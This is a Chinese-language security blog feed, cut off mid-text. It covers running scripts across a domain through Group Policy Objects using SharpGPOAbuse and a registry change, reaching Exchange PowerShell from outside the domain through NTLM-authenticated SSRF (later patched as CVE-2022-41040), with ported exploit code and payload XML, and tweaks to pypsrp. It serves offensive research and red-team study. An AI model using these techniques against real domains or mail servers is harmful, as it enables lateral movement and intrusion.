<p><code class="language-plaintext highlighter-rouge">{31B2F340-016D-11D2-945F-00C04FB984F9}</code>对应<code class="language-plaintext highlighter-rouge">Default Domain Policy</code></p>
<p>默认可利用的组策略为<code class="language-plaintext highlighter-rouge">Default Domain Policy</code>,这里分为手动修改和通过程序自动实现两部分进行介绍</p>
<h3 id="1手动修改">1.手动修改</h3>
<h4 id="1获取gpo的guid">(1)获取GPO的guid</h4>
<p>Powershell命令:<code class="language-plaintext highlighter-rouge">get-GPO -Name "Default Domain Policy"</code></p>
<p>得到Id为<code class="language-plaintext highlighter-rouge">31b2f340-016d-11d2-945f-00c04fb984f9</code></p>
<h4 id="2上传要执行的用户登录脚本">(2)上传要执行的用户登录脚本</h4>
<p>将测试脚本test1.bat上传至<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon</code></p>
<h4 id="3启用用户登录脚本">(3)启用用户登录脚本</h4>
<p>创建文件<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini</code>,属性为隐藏文件,内容为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
[Logon]
0CmdLine=test1.bat
0Parameters=
</code></pre></div></div>
<h4 id="4修改版本信息">(4)修改版本信息</h4>
<p>修改文件<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI</code>,将<code class="language-plaintext highlighter-rouge">Version</code>的原有数值加上<code class="language-plaintext highlighter-rouge">65536</code>作为新的数值</p>
<p>具体来说,默认配置下,<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI</code>的<code class="language-plaintext highlighter-rouge">Version</code>值为<code class="language-plaintext highlighter-rouge">3</code>,第一次修改时需要将其修改为<code class="language-plaintext highlighter-rouge">65539</code></p>
<h4 id="5更新数据库信息">(5)更新数据库信息</h4>
<p>需要编写程序实现,代码可参考https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189</p>
<p>当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:</p>
<ul>
<li>备份GPO</li>
<li>修改Backup.xml</li>
<li>修改gpreport.xml</li>
<li>还原GPO</li>
</ul>
<h4 id="6等待域组策略更新-1">(6)等待域组策略更新</h4>
<p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p>
<h4 id="7等待触发脚本执行-1">(7)等待触发脚本执行</h4>
<h3 id="2通过程序实现">2.通过程序实现</h3>
<p>通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>可以实现,命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"</code></p>
<h2 id="0x05-直接执行远程脚本">0x05 直接执行远程脚本</h2>
<hr />
<p>当我们选择直接执行组策略文件夹中的bat文件,会弹框提示无法执行,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-4.png" alt="Alt text" /></p>
<p>这里可以通过修改注册表的方式设置为允许,对应的命令为:<code class="language-plaintext highlighter-rouge">reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f</code></p>
<p>该操作也可以通过配置域组策略实现,位置为:<code class="language-plaintext highlighter-rouge">User Configuration</code> -> <code class="language-plaintext highlighter-rouge">Administrative Templates</code> -> <code class="language-plaintext highlighter-rouge">Windows Components</code> -> <code class="language-plaintext highlighter-rouge">Attachment Manager</code> -> <code class="language-plaintext highlighter-rouge">Inclusion list for moderate risk file types</code>,选择<code class="language-plaintext highlighter-rouge">Enabled</code>,后缀名设置为<code class="language-plaintext highlighter-rouge">.bat</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-3.png" alt="Alt text" /></p>
<h2 id="0x06-小结">0x06 小结</h2>
<hr />
<p>本文介绍了通过域组策略(Group Policy Object)中的脚本实现远程执行的方法,分享实现细节和利用思路。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Mon, 17 Oct 2022 00:00:00 +0000
https://3gstudent.github.io//%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C
-
渗透技巧——远程访问Exchange Powershell
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p>Exchange Powershell基于PowerShell Remoting,通常需要在域内主机上访问Exchange Server的80端口,限制较多。本文介绍一种不依赖域内主机发起连接的实现方法,增加适用范围。</p>
<p><strong>注:</strong></p>
<p>该方法在CVE-2022–41040中被修复,修复位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll</code>中的<code class="language-plaintext highlighter-rouge">RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress)</code>,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-7/2-2.png" alt="Alt text" /></p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<p>本文将要介绍以下内容:</p>
<ul>
<li>实现思路</li>
<li>实现细节</li>
</ul>
<h2 id="0x02-实现思路">0x02 实现思路</h2>
<hr />
<p>常规用法下,使用Exchange Powershell需要注意以下问题:</p>
<ul>
<li>所有域用户都可以连接Exchange PowerShell</li>
<li>需要在域内主机上发起连接</li>
<li>连接地址需要使用FQDN,不支持IP</li>
</ul>
<p>常规用法无法在域外发起连接,而我们知道,通过ProxyShell可以从域外发起连接,利用SSRF执行Exchange Powershell</p>
<p>更进一步,在打了ProxyShell的补丁后,支持NTLM认证的SSRF没有取消,我们可以通过NTLM认证再次访问Exchange Powershell</p>
<h2 id="0x03-实现细节">0x03 实现细节</h2>
<hr />
<p>在代码实现上,我们可以加入NTLM认证传入凭据,示例代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from requests_ntlm import HttpNtlmAuth
res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password))
</code></pre></div></div>
<p>在执行Exchange Powershell命令时,我们可以选择<a href="https://github.com/jborean93/pypsrp">pypsrp</a>或者Flask,具体细节可参考之前的文章<a href="https://3gstudent.github.io/ProxyShell%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%902-CVE-2021-34523">《ProxyShell利用分析2——CVE-2021-34523》</a>和<a href="https://3gstudent.github.io/ProxyShell%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%903-%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7%E5%92%8C%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5">《ProxyShell利用分析3——添加用户和文件写入》</a></p>
<p><a href="https://github.com/jborean93/pypsrp">pypsrp</a>或者Flask都是通过建立一个web代理,过滤修改通信数据实现命令执行</p>
<p>为了增加代码的适用范围,这里选择另外一种实现方法:模拟Exchange Powershell的正常通信数据,实现命令执行</p>
<p>可供参考的代码:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58</p>
<p><a href="https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58">代码</a>使用了Python2,实现了ProxyShell的利用</p>
<p>基于这个代码,改写成支持Python3,功能为通过NTLM认证访问Exchange Powershell执行命令,具体需要注意的细节如下:</p>
<h3 id="1python2和python3在格式化字符存在差异">1.Python2和Python3在格式化字符存在差异</h3>
<h4 id="1">(1)</h4>
<p>Python2下可用的代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class BasePacket:
def serialize(self):
Blob = ''.join([struct.pack('I', self.Destination),
struct.pack('I', self.MessageType),
self.RPID.bytes_le,
self.PID.bytes_le,
self.Data
])
BlobLength = len(Blob)
output = ''.join([struct.pack('>Q', self.ObjectId),
struct.pack('>Q', self.FragmentId),
self.Flags,
struct.pack('>I', BlobLength),
Blob ])
return output
</code></pre></div></div>
<p>以上代码在Python3下使用时,需要将<code class="language-plaintext highlighter-rouge">Str</code>转为<code class="language-plaintext highlighter-rouge">bytes</code>,并且为了避免不可见字符解析的问题,代码结构做了重新设计,Python3可用的代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def serialize(self):
Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8')
BlobLength = len(Blob)
output = struct.pack('>Q', self.ObjectId) + struct.pack('>Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('>I', BlobLength) + Blob
return output
</code></pre></div></div>
<h4 id="2">(2)</h4>
<p>Python2下可用的代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class CreationXML:
def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output)
</code></pre></div></div>
<p>以上代码在Python3下使用时,需要将Str转为bytes,Python3可用的示例代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def serialize(self):
output = self.sessionCapability.serialize() + self.initRunspacPool.serialize()
return base64.b64encode(output).decode('utf-8')
</code></pre></div></div>
<h4 id="3">(3)</h4>
<p>Python2下可用的代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def receive_data(SessionId, commonAccessToken, ShellId):
print "[+] Receive data util get RunspaceState packet"
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8"
}
url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken)
MessageID = uuid.uuid4()
OperationID = uuid.uuid4()
request_data = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:{MessageID}</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:{SessionId}</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:{OperationID}</p:OperationID>
<p:SequenceId s:mustUnderstand="false">1</p:SequenceId>
<w:SelectorSet>
<w:Selector Name="ShellId">{ShellId}</w:Selector>
</w:SelectorSet>
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<w:Option Name="WSMAN_CMDSHELL_OPTION_KEEPALIVE">TRUE</w:Option>
</w:OptionSet>
<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream>stdout</rsp:DesiredStream>
</rsp:Receive>
</s:Body>
</s:Envelope>""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId)
r = post_request(url, headers, request_data, {})
if r.status_code == 200:
doc = xml.dom.minidom.parseString(r.text);
elements = doc.getElementsByTagName("rsp:Stream")
if len(elements) == 0:
print_error_and_exit("receive_data failed with no Stream return", r)
for element in elements:
stream = element.firstChild.nodeValue
data = base64.b64decode(stream)
if 'RunspaceState' in data:
print "[+] Found RunspaceState packet"
return True
</code></pre></div></div>
<p>以上代码在Python3下使用时,需要将<code class="language-plaintext highlighter-rouge">Str</code>转为<code class="language-plaintext highlighter-rouge">bytes</code>,为了避免不可见字符解析的问题,这里不能使用<code class="language-plaintext highlighter-rouge">.decode('utf-8')</code>,改为使用<code class="language-plaintext highlighter-rouge">.decode('ISO-8859-1')</code></p>
<p>Python3可用的示例代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data = base64.b64decode(stream).decode('ISO-8859-1')
</code></pre></div></div>
<h3 id="2支持exchange-powershell命令的xml文件格式">2.支持Exchange Powershell命令的XML文件格式</h3>
<p>XML文件格式示例1:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="0"><MS><B N="NoInput">true</B><Obj N="ApartmentState" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>UNKNOWN</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="2"><TN RefId="1"><T>System.Management.Automation.Runspaces.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>AddInvocationInfo</ToString><I32>15</I32></Obj><B N="AddToHistory">false</B><Obj N="HostInfo" RefId="3"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><Obj N="PowerShell" RefId="4"><MS><B N="IsNested">false</B><Nil N="ExtraCmds" /><Obj N="Cmds" RefId="5"><TN RefId="2"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="6"><MS><S N="Cmd">Get-RoleGroupMember</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="7"><TN RefId="3"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="8"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="9"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="10"><TNRef RefId="2" /><LST><Obj RefId="11"><MS><Nil N="N" /><S N="V">Organization Management</S></MS></Obj></LST></Obj><Obj N="MergeError" RefId="12"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="13"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="14"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="15"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj></MS></Obj></LST></Obj><Nil N="History" /><B N="RedirectShellErrorOutputPipe">false</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
</code></pre></div></div>
<p>对应执行的命令为:<code class="language-plaintext highlighter-rouge">Get-RoleGroupMember "Organization Management"</code></p>
<p>XML文件格式示例2:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="0"><MS><B N="NoInput">true</B><Obj N="ApartmentState" RefId="1"><TN RefId="0"><T>System.Management.Automation.Runspaces.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>UNKNOWN</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="2"><TN RefId="1"><T>System.Management.Automation.Runspaces.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>AddInvocationInfo</ToString><I32>15</I32></Obj><B N="AddToHistory">false</B><Obj N="HostInfo" RefId="3"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><Obj N="PowerShell" RefId="4"><MS><B N="IsNested">false</B><Nil N="ExtraCmds" /><Obj N="Cmds" RefId="5"><TN RefId="2"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="6"><MS><S N="Cmd">Get-Mailbox</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="7"><TN RefId="3"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="8"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="9"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="10"><TNRef RefId="2" /><LST><Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj></LST></Obj><Obj N="MergeError" RefId="12"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="13"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="14"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="15"><TNRef RefId="3" /><ToString>None</ToString><I32>0</I32></Obj></MS></Obj></LST></Obj><Nil N="History" /><B N="RedirectShellErrorOutputPipe">false</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
</code></pre></div></div>
<p>对应执行的命令为:<code class="language-plaintext highlighter-rouge">Get-Mailbox -Identity administrator</code></p>
<p>通过格式分析,可得出以下结论:</p>
<h4 id="1属性cmd对应命令名称">(1)属性<code class="language-plaintext highlighter-rouge">Cmd</code>对应命令名称</h4>
<p>例如:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><S N="Cmd">Get-RoleGroupMember</S>
<S N="Cmd">Get-Mailbox</S>
</code></pre></div></div>
<h4 id="2传入的命令参数需要注意格式">(2)传入的命令参数需要注意格式</h4>
<p>如果只传入1个参数,对应的格式为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="11"><MS><Nil N="N" /><S N="V">Organization Management</S></MS></Obj>
</code></pre></div></div>
<p>如果传入2个参数,对应的格式为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj>
</code></pre></div></div>
<p>如果传入4个参数,对应的格式为:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="11"><MS><S N="N">-Identity</S><S N="V">administrator</S></MS></Obj>
<Obj RefId="12"><MS><S N="N">-ResultSize</S><S N="V">1024</S></MS></Obj>
</code></pre></div></div>
<p>为此,我们可以使用以下代码实现参数填充:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def GenerateArgument(N_data, V_data):
if len(N_data) == 0:
Argument = """<Obj RefId="13"><MS><Nil N="N" /><S N="V">{V_data}</S></MS></Obj>""".format(V_data=V_data)
else:
Argument = """<Obj RefId="13"><MS><S N="N">{N_data}</S><S N="V">{V_data}</S></MS></Obj>""".format(N_data=N_data, V_data=V_data)
return Argument
</code></pre></div></div>
<p>构造XML文件格式的实现代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> commandData = """<Obj RefId="0"><MS>
<Obj N="PowerShell" RefId="1"><MS>
<Obj N="Cmds" RefId="2">
<TN RefId="0">
<T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>
<T>System.Object</T>
</TN>
<LST>
<Obj RefId="3"><MS>
<S N="Cmd">{Cmdlet}</S>
<B N="IsScript">false</B>
<Nil N="UseLocalScope" />
<Obj N="MergeMyResult" RefId="4">
<TN RefId="1">
<T>System.Management.Automation.Runspaces.PipelineResultTypes</T>
<T>System.Enum</T>
<T>System.ValueType</T>
<T>System.Object</T>
</TN>
<ToString>None</ToString><I32>0</I32>
</Obj>
<Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj>
<Obj N="Args" RefId="12"><TNRef RefId="0" />
<LST>
{Argument}
</LST>
</Obj>
</MS></Obj>
</LST>
</Obj>
<B N="IsNested">false</B>
<Nil N="History" />
<B N="RedirectShellErrorOutputPipe">true</B>
</MS></Obj>
<B N="NoInput">true</B>
<Obj N="ApartmentState" RefId="15">
<TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
<ToString>Unknown</ToString><I32>2</I32>
</Obj>
<Obj N="RemoteStreamOptions" RefId="16">
<TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN>
<ToString>0</ToString><I32>0</I32>
</Obj>
<B N="AddToHistory">true</B>
<Obj N="HostInfo" RefId="17"><MS>
<B N="_isHostNull">true</B>
<B N="_isHostUINull">true</B>
<B N="_isHostRawUINull">true</B>
<B N="_useRunspaceHost">true</B></MS>
</Obj>
<B N="IsNested">false</B>
</MS></Obj>""".format(Cmdlet=Cmdlet, Argument=Argument)
</code></pre></div></div>
<p>结合以上细节后,我们可以得出最终的实现代码,代码执行结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-7/2-1.png" alt="Alt text" /></p>
<h2 id="0x04-小结">0x04 小结</h2>
<hr />
<p>本文介绍了远程访问Exchange Powershell的实现方法,优点是不依赖于域内主机上发起连接,该方法在CVE-2022–41040中被修复。</p>
<hr />
<p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p>
Fri, 07 Oct 2022 00:00:00 +0000
https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AEExchange-Powershell
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AEExchange-Powershell
-
pypsrp在Exchange Powershell下的优化
<h2 id="0x00-前言">0x00 前言</h2>
<hr />
<p><a href="https://github.com/jborean93/pypsrp">pypsrp</a>是用于PowerShell远程协议(PSRP)服务的Python客户端。我在研究过程中,发现在Exchange Powershell下存在一些输出的问题,本文将要介绍研究过程,给出解决方法。</p>
<h2 id="0x01-简介">0x01 简介</h2>
<hr />
<ul>
<li>Exchange PowerShell Remoting</li>
<li>pypsrp的使用</li>
<li>pypsrp存在的输出问题</li>
<li>解决方法</li>
</ul>
<h2 id="0x02-exchange-powershell-remoting">0x02 Exchange PowerShell Remoting</h2>
<hr />
<p>参考资料:</p>
<p>https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps</p>
<p>默认设置下,需要注意以下问题:</p>
<ul>
<li>所有域用户都可以连接Exchange PowerShell</li>
<li>需要在域内主机上发起连接</li>
<li>连接地址需要使用FQDN,不支持IP</li>
</ul>
<p>通过Powershell连接Exchange PowerShell的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$User = "test\user1"
$Pass = ConvertTo-SecureString -AsPlainText Password1 -Force
$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://exchangeserver.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential
Invoke-Command -Session $session -ScriptBlock {Get-Mailbox -Identity administrator}
</code></pre></div></div>
<p>通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell的命令示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pypsrp.powershell import PowerShell, RunspacePool
from pypsrp.wsman import WSMan
host = 'exchangeserver.test.com'
username='test\\user1'
password='Password1'
wsman = WSMan(server=host, username=username, password=password, port=80, path="PowerShell", ssl=False, auth="kerberos", cert_validation=False)
with wsman, RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Get-Mailbox").add_parameter("-Identity", "administrator")
output = ps.invoke()
print("[+] OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
</code></pre></div></div>
<p>如果想要加入调试信息,可以添加以下代码:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import logging
logging.basicConfig(level=logging.DEBUG)
</code></pre></div></div>
<h2 id="0x03-pypsrp存在的输出问题">0x03 pypsrp存在的输出问题</h2>
<hr />
<p>我们在Exchange PowerShell下执行命令的完整返回结果如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-1.png" alt="Alt text" /></p>
<p>但是通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令时,输出结果不完整,无法获得命令的完整信息,如下图</p>
<p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-2.png" alt="Alt text" /></p>
<h2 id="0x04-解决方法">0x04 解决方法</h2>
<hr />
<h3 id="1定位问题">1.定位问题</h3>
<p>通过查看源码,定位到代码位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207</p>
<p>我们可以在这里添加输出<code class="language-plaintext highlighter-rouge">message_data</code>的代码,代码示例:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print(message_data)
message_data = serializer.deserialize(message_data)
print(message_data)
</code></pre></div></div>
<p>返回结果:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><Obj RefId="0"><TN RefId="0"><T>Microsoft.Exchange.Data.Directory.Management.Mailbox</T><T>Microsoft.Exchange.Data.Directory.Management.MailEnabledOrgPerson</T><T>Microsoft.Exchange.Data.Directory.Management.MailEnabledRecipient</T><T>Microsoft.Exchange.Data.Directory.Management.ADPresentationObject</T><T>Microsoft.Exchange.Data.Directory.ADObject</T><T>Microsoft.Exchange.Data.Directory.ADRawEntry</T><T>Microsoft.Exchange.Data.ConfigurableObject</T><T>System.Object</T></TN><ToString>Administrator</ToString><Props><S N="Database">Ex2016-DB2</S><Nil N="MailboxProvisioningConstraint" /><Nil N="MailboxRegion" /><Nil N="MailboxRegionLastUpdateTime" /><B N="MessageCopyForSentAsEnabled">false</B><B N="MessageCopyForSendOnBehalfEnabled">false</B><Obj N="MailboxProvisioningPreferences" RefId="1"><TN RefId="1"><T>Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxProvisioningConstraint, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxProvisioningConstraint, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>Microsoft.Exchange.Data.MultiValuedPropertyBase</T><T>System.Object</T></TN><LST /></Obj><B N="UseDatabaseRetentionDefaults">true</B><B N="RetainDeletedItemsUntilBackup">false</B><B N="DeliverToMailboxAndForward">false</B><B N="IsExcludedFromServingHierarchy">false</B><B N="IsHierarchyReady">true</B><B N="IsHierarchySyncEnabled">true</B><B N="HasSnackyAppData">false</B><B N="LitigationHoldEnabled">false</B><B N="SingleItemRecoveryEnabled">false</B><B N="RetentionHoldEnabled">false</B><Nil N="EndDateForRetentionHold" /><Nil N="StartDateForRetentionHold" /><S N="RetentionComment"></S><S N="RetentionUrl"></S><Nil N="LitigationHoldDate" /><S N="LitigationHoldOwner"></S><B 